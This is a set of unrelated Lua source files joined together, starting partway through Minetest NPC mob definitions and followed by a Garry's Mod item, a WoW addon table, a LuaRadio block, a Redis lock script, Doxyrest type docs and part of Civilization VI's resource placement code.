walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_die_yell",
death = "mobs_death2",
attack = "default_punch3",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
mobs:register_spawn("mobs_fallout:Hobo", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, 31000)
mobs:register_mob("mobs_fallout:Hobo", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 37,
hp_max = 45,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"Hobo8Homeless_person_by_Minetestian.png",
"3d_armor_trans.png",
minetest.registered_items["default:sword_wood"].inventory_image,
}},
visual_size = {x=1, y=1},
makes_footstep_sound = true,
view_range = 15,
walk_velocity = 1,
run_velocity = 2.3,
damage = 4,
drops = {
{name = "default:apple",
chance = 1,
min = 0,
max = 5,},
{name = "default:machete_bronze",
chance = 1,
min = 1,
max = 1,},
{name = "shooter:ammo",
chance = 2,
min = 4,
max=12,},
},
armor = 90,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"O.G. Sam: Mobs, let me at 'em, I'll splat 'em!!!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Hobo: Mobs, let me at 'em, I'll splat 'em!!!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_die_yell",
death = "mobs_death1",
attack = "default_punch2",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
mobs:register_spawn("mobs_fallout:Simon", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, 31000)
mobs:register_mob("mobs_fallout:Simon", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 28,
hp_max = 35,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"Hunky_Simon_with_Jacket_by_Andromeda.png",
"3d_armor_trans.png",
minetest.registered_items["shooter:rifle"].inventory_image,
}},
visual_size = {x=1, y=1},
makes_footstep_sound = true,
view_range = 25,
walk_velocity = 1.6,
run_velocity = 2.8,
damage = 3,
drops = {
{name = "default:torch",
chance = 1,
min = 3,
max = 5,},
{name = "shooter:rifle",
chance = 1,
min = 0,
max = 1,},
{name = "shooter:ammo",
chance = 2,
min = 13,
max=30,},
},
armor = 80,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"Vanessa: I'll code out the very instance of those mobs!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Simon: I'll code out the very instance of those mobs!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_fireball",
death = "mobs_slash_attack",
attack = "default_punch",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
mobs:register_spawn("mobs_fallout:Infantry_man", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 20, 10, 9000, 1, -10)
mobs:register_mob("mobs_fallout:Infantry_man", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 92,
hp_max = 125,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"Infantry_man_by_philipbenr.png",
"3d_armor_trans.png",
minetest.registered_items["shooter:rocket_gun_loaded"].inventory_image,
}},
visual_size = {x=1, y=1},
makes_footstep_sound = true,
view_range = 15,
walk_velocity = 1.7,
run_velocity = 2.5,
damage = 4,
drops = {
{name = "shooter:rocket_gun_loaded",
chance = 4,
min = 0,
max = 2,},
{name = "shooter:rifle",
chance = 7,
min = 0,
max = 1,},
{name = "shooter:ammo",
chance = 2,
min = 1,
max=3,},
},
armor = 80,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"Female Sam: Minetest is the greatest voxel game ever created!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Infantry_man: Minetest is the greatest voxel game ever created!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_stone",
death = "mobs_slash_attack",
attack = "default_punch2",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
mobs:register_spawn("mobs_fallout:Mage", {"default:dirt_with_grass","default:stone", "default:stonebrick","default:cobble"}, 15, -1,9000, 1, -50)
mobs:register_mob("mobs_fallout:Mage", {
type = "npc",
group_attack = true,
pathfinding = true,
hp_min = 157,
hp_max = 180,
collisionbox = {-0.3, -1.0, -0.3, 0.3, 0.8, 0.3},
visual = "mesh",
mesh = "3d_armor_character.b3d",
textures = {{"mage_by_Ginsu23.png",
"3d_armor_trans.png",
minetest.registered_items["shooter:rocket_gun_loaded"].inventory_image,
}},
visual_size = {x=1, y=1},
makes_footstep_sound = true,
view_range = 14,
walk_velocity = 2.5,
run_velocity = 7,
damage = 4,
drops = {
{name = "shooter:rocket_gun_loaded",
chance = 2,
min = 0,
max = 1,},
{name = "shooter:rifle",
chance = 1,
min = 0,
max = 1,},
{name = "default:apple",
chance = 1,
min = 1,
max=3,},
},
armor = 80,
drawtype = "front",
water_damage = 10,
lava_damage = 50,
light_damage = 0,
--[[
--Maikerumine added hackish follow code
on_rightclick = function (self, clicker)
mobs:face_pos(self,clicker:getpos())
mobs:team_player(self,clicker:getpos())
if self.state ~= "path" and self.state ~= "following" then
local_chat(clicker:getpos(),"Battlefield 3 Soldier: All suited up, let's roll out and destroy those creatures!",3)
if not self.tamed then
self.tamed = true
self.follow = true
end
end
end,]]
on_rightclick = function(self, clicker)
local item = clicker:get_wielded_item()
local_chat(clicker:getpos(),"Mage: All suited up, let's roll out and destroy those creatures!",3)
if item:get_name() == "mobs_fallout:meat" or item:get_name() == "farming:bread" then
local hp = self.object:get_hp()
if hp + 4 > self.hp_max then return end
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
self.object:set_hp(hp+4)
-- right clicking with gold lump drops random item from mobs.npc_drops
elseif item:get_name() == "default:gold_lump" then
if not minetest.setting_getbool("creative_mode") then
item:take_item()
clicker:set_wielded_item(item)
end
local pos = self.object:getpos()
pos.y = pos.y + 0.5
minetest.add_item(pos, {name = mobs.npc_drops[math.random(1,#mobs.npc_drops)]})
else
if self.owner == "" then
self.owner = clicker:get_player_name()
else
local formspec = "size[8,4]"
formspec = formspec .. "textlist[2.85,0;2.1,0.5;dialog;What can I do for you?]"
formspec = formspec .. "button_exit[1,1;2,2;gfollow;follow]"
formspec = formspec .. "button_exit[5,1;2,2;gstand;stand]"
formspec = formspec .. "button_exit[0,2;4,4;gfandp;follow and protect]"
formspec = formspec .. "button_exit[4,2;4,4;gsandp;stand and protect]"
--formspec = formspec .. "button_exit[1,2;2,2;ggohome; go home]"
--formspec = formspec .. "button_exit[5,2;2,2;gsethome; sethome]"
minetest.show_formspec(clicker:get_player_name(), "order", formspec)
minetest.register_on_player_receive_fields(function(clicker, formname, fields)
if fields.gfollow then
self.order = "follow"
self.attacks_monsters = false
end
if fields.gstand then
self.order = "stand"
self.attacks_monsters = false
end
if fields.gfandp then
self.order = "follow"
self.attacks_monsters = true
end
if fields.gsandp then
self.order = "stand"
self.attacks_monsters = true
end
if fields.gsethome then
self.floats = self.object:getpos()
end
if fields.ggohome then
if self.floats then
self.order = "stand"
self.object:setpos(self.floats)
end
end
end)
end
end
end,
attack_type = "dogfight",
animation = {
speed_normal = 30, speed_run = 30,
stand_start = 0, stand_end = 79,
walk_start = 168, walk_end = 187,
run_start = 168, run_end = 187,
punch_start = 200, punch_end = 219,
},
sounds = {
war_cry = "mobs_barbarian_yell1",
death = "mobs_barbarian_death",
attack = "default_punch3",
},
attacks_monsters = true,
peaceful = true,
group_attack = true,
step = 1,
})
|
ITEM.name = "Железная сабля"
ITEM.desc = "Меч с искривленным лезвием."
ITEM.class = "nut_saber_iron"
ITEM.weaponCategory = "primary"
ITEM.price = 200
ITEM.category = "Оружие"
ITEM.model = "models/morrowind/iron/saber/w_iron_saber.mdl"
ITEM.width = 5
ITEM.height = 1
ITEM.iconCam = {
pos = Vector(0.06674175709486, 70.663093566895, 10.824563026428),
ang = Angle(0, 270, -100.06994628906),
fov = 45
}
ITEM.permit = "melee"
ITEM.damage = {2, 4}
ITEM.pacData = {[1] = {
["children"] = {
[1] = {
["children"] = {
[1] = {
["children"] = {
},
["self"] = {
["Event"] = "weapon_class",
["Arguments"] = "nut_saber_iron",
["UniqueID"] = "4011003967",
["ClassName"] = "event",
},
},
},
["self"] = {
["Angles"] = Angle(-8.4964141845703, 121.16206359863, 87.364044189453),
["UniqueID"] = "732790205",
["Position"] = Vector(0.82049560546875, -1.4083251953125, 2.66357421875),
["EditorExpand"] = true,
["Bone"] = "left thigh",
["Model"] = "models/morrowind/iron/saber/w_iron_saber.mdl",
["ClassName"] = "model",
},
},
},
["self"] = {
["EditorExpand"] = true,
["UniqueID"] = "2083764954",
["ClassName"] = "group",
["Name"] = "my outfit",
["Description"] = "add parts to me!",
},
},
} |
local AddonName, AddonTable = ...
-- Cataclysm Alchemy
AddonTable.alchemy = {
51950,
52303,
58480,
58483,
68776,
68777,
68775,
65891,
-- Recipe's
67538,
}
|
-- Clip the amplitudes in a real valued signal to be within lower and
-- upper limits
--
local block = require('radio.core.block')
local class = require('radio.core.class')
local types = require('radio.types')
local ClipBlock = block.factory("ClipBlock")
function ClipBlock:instantiate(lower, upper)
self.lower = lower
self.upper = upper
self:add_type_signature({block.Input("in", types.Float32)}, {block.Output("out", types.Float32)})
end
function ClipBlock:initialize()
self.out = self:get_output_type().vector()
end
function ClipBlock:process(x)
local out = self.out:resize(x.length)
local v
for i = 0, x.length - 1 do
v = x.data[i].value
if v > self.upper then
v = self.upper
elseif v < self.lower then
v = self.lower
end
out.data[i].value = v
end
return out
end
return ClipBlock
|
local mode = redis.call('hget', @lock_key, 'mode');
if (mode == false) then
redis.call('hset', @lock_key, 'mode', 'write');
redis.call('hset', @lock_key, @lock_id, 1);
redis.call('pexpire', @lock_key, @expire);
return nil;
end;
if (mode == 'write') then
if (redis.call('hexists', @lock_key, @lock_id) == 1) then
redis.call('hincrby', @lock_key, @lock_id, 1);
local currentExpire = redis.call('pttl', @lock_key);
redis.call('pexpire', @lock_key, currentExpire + @expire);
return nil;
end;
end;
return redis.call('pttl', @lock_key); |
--------------------------------------------------------------------------------
--
-- This file is part of the Doxyrest toolkit.
--
-- Doxyrest is distributed under the MIT license.
-- For details see accompanying license.txt file,
-- the public copy of which is also available at:
-- http://tibbo.com/downloads/archive/doxyrest/license.txt
--
--------------------------------------------------------------------------------
--!
--! \defgroup api-aux-types
--! \ingroup api
--! \grouporder 4
--! \title Doxygen Auxillary Types
--!
--! This section describes auxillary types (enumerations and tables) used in
--! various places.
--!
--! @{
--!
--------------------------------------------------------------------------------
--!
--! \luaenum
--!
RefKind =
{
"compound",
"member",
}
--!
--! \luaenum
--!
ImageKind =
{
"html",
"latex",
"rtf",
}
--!
--! \luaenum
--!
ProtectionKind =
{
"public",
"protected",
"private",
"package",
}
--!
--! \luaenum
--!
VirtualKind =
{
"non-virtual",
"virtual",
"pure-virtual",
"abstract",
"override",
}
-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
--!
--! \luastruct
--!
--! Table of this type describes a block (either plain-text or hyperlink) of
--! `LinkedText`.
--!
RefText =
{
--!
--! Holds a string describing hyperlink target. Must be one of `RefKind`.
--!
--! If this block is not a hyperlink, ``refKind`` contains ``<undefined>``.
--!
refKind,
--! Holds a string with plain-text representation of the block.
text,
--! Holds a Doxygen identifier of the hyperlink target. If this block is not
--! a hyperlink ``id`` contains an empty string.
id,
external,
tooltip,
}
--!
--! \luastruct
--!
--! Table of this type describes a text (possibly) with injected hyperlinks.
--!
LinkedText =
{
--! Holds ``true`` if the text is empty or ``false`` otherwise.
isEmpty,
--! Holds a string with plain-text representation of the text, i.e. as if
--! there were no any hyperlinks.
plainText,
--!
--! Holds an array table of plain-text and hyperlink blocks constituting the full text.
--!
--! Type of each element of the array is `RefText`.
--!
refTextArray,
}
--!
--! \luastruct
--!
--! Table of this type describes a Doxygen *description* extracted from in-source documentation comments.
--!
Description =
{
--! Holds ``true`` if description is empty or ``false`` otherwise.
isEmpty,
--!
--! Holds an array table of blocks constituting this description.
--!
--! Type of each element of the array is `DocBlock`.
--!
docBlockList,
}
--!
--! \luastruct
--!
Location =
{
file,
line,
column,
bodyFile,
bodyStartLine,
bodyEndLine,
}
--!
--! \luastruct
--!
--! Table of this type describes a Doxygen *param* such as *function argument* or *template parameter*.
--!
Param =
{
--! Holds a string describing a name given to the parameter during *declaration*.
declarationName,
--! Holds a string describing a name given to the parameter during *definition*.
definitionName,
--! Holds a string describing array dimension suffix of the parameter (if the parameter is of array type).
array,
--! Holds a `LinkedText` table describing the type of the parameter.
type,
--[[!
Holds a `LinkedText` table with the default value assigned to the parameter.
.. rubric:: Sample:
.. code-block:: cpp
int foo (int a, int b = 100);
``defaultValue`` for ``a`` will be empty (`LinkedText.isEmpty` will be set to ``true``).
``defaultValue`` for ``b`` will contain ``= 100``.
]]
defaultValue,
typeConstraint,
--! Holds a `Description` table with the brief description of the parameter.
briefDescription,
}
--------------------------------------------------------------------------------
--! @}
|
------------------------------------------------------------------------------
-- FILE: ResourceGenerator.lua
-- ORIGNIAL AUTHOR: Ed Beach
-- PURPOSE: Default method for resource placement
------------------------------------------------------------------------------
-- Copyright (c) 2014 Firaxis Games, Inc. All rights reserved.
------------------------------------------------------------------------------
include "MapEnums"
include "MapUtilities"
local scoreRnd = 300;
------------------------------------------------------------------------------
ResourceGenerator = {};
------------------------------------------------------------------------------
function ResourceGenerator.Create(args)
print("In ResourceGenerator.Create()");
print(" Placing resources");
local iNumMajorCivs = PlayerManager.GetAliveMajorsCount();
-- create instance data
local instance = {
-- methods
__InitResourceData = ResourceGenerator.__InitResourceData,
__FindValidLocs = ResourceGenerator.__FindValidLocs,
__GetLuxuryResources = ResourceGenerator.__GetLuxuryResources,
__IsCoastal = ResourceGenerator.__IsCoastal,
__ValidLuxuryPlots = ResourceGenerator.__ValidLuxuryPlots,
__PlaceLuxuryResources = ResourceGenerator.__PlaceLuxuryResources,
__ScoreLuxuryPlots = ResourceGenerator.__ScoreLuxuryPlots,
__PlaceWaterLuxury = ResourceGenerator.__PlaceWaterLuxury,
__GetStrategicResources = ResourceGenerator.__GetStrategicResources,
__ValidStrategicPlots = ResourceGenerator.__ValidStrategicPlots,
__ScoreStrategicPlots = ResourceGenerator.__ScoreStrategicPlots,
__PlaceStrategicResources = ResourceGenerator.__PlaceStrategicResources,
__GetOtherResources = ResourceGenerator.__GetOtherResources,
__PlaceOtherResources = ResourceGenerator.__PlaceOtherResources,
__RemoveOtherDuplicateResources = ResourceGenerator.__RemoveOtherDuplicateResources,
__RemoveDuplicateResources = ResourceGenerator.__RemoveDuplicateResources,
__ScorePlots = ResourceGenerator.__ScorePlots,
-- data
bCoastalBias = args.bCoastalBias or false;
bLandBias = args.bLandBias or false;
resources = args.resources;
iResourcesInDB = 0;
iNumContinents = 0;
iTotalValidPlots = 0;
iFrequencyTotal = 0;
iFrequencyStrategicTotal = 0;
iTargetPercentage = 28;
iStandardPercentage = 28;
iLuxuryPercentage = 20;
iStrategicPercentage = 21;
iOccurencesPerFrequency = 0;
iLuxuriesPerRegion = 4;
eResourceType = {},
eResourceClassType = {},
iFrequency = {},
aLuxuryType = {},
aLuxuryTypeCoast = {},
aStrategicType = {},
aOtherType = {},
aStrategicCoast = {},
aaPossibleLuxLocs = {},
aaPossibleLuxLocsWater = {},
aaPossibleStratLocs = {},
aaPossibleStratLocsWater = {},
aaPossibleLocs = {},
aResourcePlacementOrderStrategic = {},
aResourcePlacementOrder = {},
aPeakEra = {},
aResourceName = {},
};
-- initialize instance data
instance:__InitResourceData()
-- Chooses and then places the strategic resources
instance:__GetStrategicResources()
-- Chooses and then places the luxury resources
instance:__GetLuxuryResources()
-- Chooses and then places the other resources [other is now only bonus, but later could be resource types added through mods]
instance:__GetOtherResources()
-- Removes too many adjacent other resources.
instance:__RemoveOtherDuplicateResources()
return instance;
end
------------------------------------------------------------------------------
function ResourceGenerator:__InitResourceData()
self.iResourcesInDB = 0;
self.iLuxuriesThisSizeMap = GameInfo.Maps[Map.GetMapSize()].DefaultPlayers * 2;
-- Get resource value setting input by user.
if self.resources == 1 then
self.resources = -5;
elseif self.resources == 3 then
self.resources = 5;
elseif self.resources == 4 then
self.resources = TerrainBuilder.GetRandomNumber(13, "Random Resources - Lua") - 6;
--print(self.resources);
else
self.resources = 0;
end
self.iTargetPercentage = self.iTargetPercentage + self.resources;
for row in GameInfo.Resources() do
self.eResourceType[self.iResourcesInDB] = row.Index;
self.eResourceClassType[self.iResourcesInDB] = row.ResourceClassType;
self.aaPossibleLocs[self.iResourcesInDB] = {};
self.aaPossibleLuxLocs[self.iResourcesInDB] = {};
self.aaPossibleStratLocs[self.iResourcesInDB] = {};
self.aaPossibleLuxLocsWater[self.iResourcesInDB] = {};
self.aaPossibleStratLocsWater[self.iResourcesInDB] = {};
self.iFrequency[self.iResourcesInDB] = row.Frequency;
self.aPeakEra[self.iResourcesInDB] = row.PeakEra;
self.aResourceName[self.iResourcesInDB] = row.ResourceType;
self.iResourcesInDB = self.iResourcesInDB + 1;
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__GetLuxuryResources()
local continentsInUse = Map.GetContinentsInUse();
self.aLuxuryType = {};
self.aLuxuryTypeCoast = {};
aLandLuxury = {};
local max = self.iLuxuriesPerRegion;
print("#######################################################");
print("Luxes On Map: ", max);
print("#######################################################");
-- Find the Luxury Resources
for row = 0, self.iResourcesInDB do
if (self.eResourceClassType[row] == "RESOURCECLASS_LUXURY" and self.iFrequency[row] > 0) then
local coast = false;
for row2 in GameInfo.Resource_ValidTerrains() do
if (GameInfo.Resources[row2.ResourceType].Index == self.eResourceType[row] and row2.TerrainType == "TERRAIN_COAST") then
coast = true;
end
end
if (coast == true) then
--table.insert(self.aLuxuryTypeCoast, self.eResourceType[row]);
end
if (self.bCoastalBias == true or self.bLandBias == true) then
if (coast == false) then
table.insert(aLandLuxury, self.eResourceType[row]);
end
else
table.insert(self.aLuxuryType, self.eResourceType[row]);
end
end
end
local index = 1;
if (self.bCoastalBias == true) then
newLuxuryArray = {};
shuffledCoast = GetShuffledCopyOfTable(self.aLuxuryTypeCoast);
aLandLuxury = GetShuffledCopyOfTable(aLandLuxury);
local iLandIndex = 1;
local iWaterIndex = 1;
for row = 0, self.iResourcesInDB do
local mod = max + 2;
if (row ~= 0 and ((row - math.floor(row / mod) * mod == 0) and iWaterIndex <= #self.aLuxuryTypeCoast)) then
--table.insert(newLuxuryArray, shuffledCoast[iWaterIndex]); -- HB Removed water luxes from his map he is a HEATHEN
iWaterIndex = iWaterIndex + 1;
else
table.insert(newLuxuryArray, aLandLuxury[iLandIndex]);
iLandIndex = iLandIndex + 1;
end
end
for i, eLuxury in ipairs(newLuxuryArray) do
table.insert(self.aLuxuryType, eLuxury);
end
elseif (self.bLandBias == true) then
newLuxuryArray = {};
shuffledCoast = GetShuffledCopyOfTable(self.aLuxuryTypeCoast);
aLandLuxury = GetShuffledCopyOfTable(aLandLuxury);
local iLandIndex = 1;
local iWaterIndex = 1;
for row = 0, self.iResourcesInDB do
if (iLandIndex <= #aLandLuxury) then
table.insert(newLuxuryArray, aLandLuxury[iLandIndex]);
iLandIndex = iLandIndex + 1;
else
-- table.insert(newLuxuryArray, shuffledCoast[iWaterIndex]); -- HB Removed water luxes from his map he is a HEATHEN
iWaterIndex = iWaterIndex + 1;
end
end
for i, eLuxury in ipairs(newLuxuryArray) do
table.insert(self.aLuxuryType, eLuxury);
end
else
self.aLuxuryType = GetShuffledCopyOfTable(self.aLuxuryType);
end
for _, eContinent in ipairs(continentsInUse) do
-- Shuffle the table
--print ("Retrieved plots for continent: " .. tostring(eContinent));
self:__ValidLuxuryPlots(eContinent);
-- next find the valid plots for each of the luxuries
local failed = 0;
local iI = 1;
while max >= iI and failed < 2 do
local eChosenLux = self.aLuxuryType[index];
local isValid = true;
if (isValid == true and #self.aLuxuryType > 0) then
table.remove(self.aLuxuryType, index);
if (self:__IsCoastal(eChosenLux)) then
self:__PlaceWaterLuxury(eChosenLux, eContinent);
else
self:__PlaceLuxuryResources(eChosenLux, eContinent);
end
index = index + 1;
iI = iI + 1;
failed = 0;
end
if index > #self.aLuxuryType then
index = 1;
failed = failed + 1;
end
end
end
-- for loop to add water luxes to EVERY cintinent
for _, eContinent in ipairs(continentsInUse) do
-- Shuffle the table
--print ("Retrieved plots for continent: " .. tostring(eContinent));
self:__ValidLuxuryPlots(eContinent);
for z = 1, #self.aLuxuryTypeCoast do
local eChosenLux = self.aLuxuryTypeCoast[z];
self:__PlaceWaterLuxury(eChosenLux, eContinent);
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__IsCoastal(eResource)
for i, eCoastalResource in ipairs(self.aLuxuryTypeCoast) do
if eCoastalResource == eResource then
return true
end
end
return false;
end
------------------------------------------------------------------------------
function ResourceGenerator:__ValidLuxuryPlots(eContinent)
-- go through each plot on the continent and put the luxuries
local iSize = #self.aLuxuryType;
local iBaseScore = 1;
self.iTotalValidPlots = 0;
plots = Map.GetContinentPlots(eContinent);
for i, plot in ipairs(plots) do
local bCanHaveSomeResource = false;
local pPlot = Map.GetPlotByIndex(plot);
-- See which resources can appear here
for iI = 1, iSize do
local bIce = false;
if (IsAdjacentToIce(pPlot:GetX(), pPlot:GetY()) == true) then
bIce = true;
end
if (ResourceBuilder.CanHaveResource(pPlot, self.aLuxuryType[iI]) and bIce == false) then
row = {};
row.MapIndex = plot;
row.Score = iBaseScore;
table.insert(self.aaPossibleLuxLocs[self.aLuxuryType[iI]], row);
bCanHaveSomeResource = true;
end
end
if (bCanHaveSomeResource == true) then
self.iTotalValidPlots = self.iTotalValidPlots + 1;
end
-- Compute how many of each resource to place
end
self.iOccurencesPerFrequency = self.iTargetPercentage / 100 * #plots * self.iLuxuryPercentage / 100 / self.iLuxuriesPerRegion;
end
------------------------------------------------------------------------------
function ResourceGenerator:__PlaceLuxuryResources(eChosenLux, eContinent)
-- Go through continent placing the chosen luxuries
plots = Map.GetContinentPlots(eContinent);
--print ("Occurrences per frequency: " .. tostring(self.iOccurencesPerFrequency));
local eResourceType = self.eResourceType[eChosenLux]
local iTotalPlaced = 0;
-- Compute how many to place
local iNumToPlace = 1;
if (self.iOccurencesPerFrequency > 1) then
iNumToPlace = self.iOccurencesPerFrequency;
end
-- Score possible locations
self:__ScoreLuxuryPlots(eChosenLux, eContinent);
-- Sort and take best score
table.sort(self.aaPossibleLuxLocs[eChosenLux], function(a, b) return a.Score > b.Score; end);
for iI = 1, iNumToPlace do
if (iI <= #self.aaPossibleLuxLocs[eChosenLux]) then
local iMapIndex = self.aaPossibleLuxLocs[eChosenLux][iI].MapIndex;
local iScore = self.aaPossibleLuxLocs[eChosenLux][iI].Score;
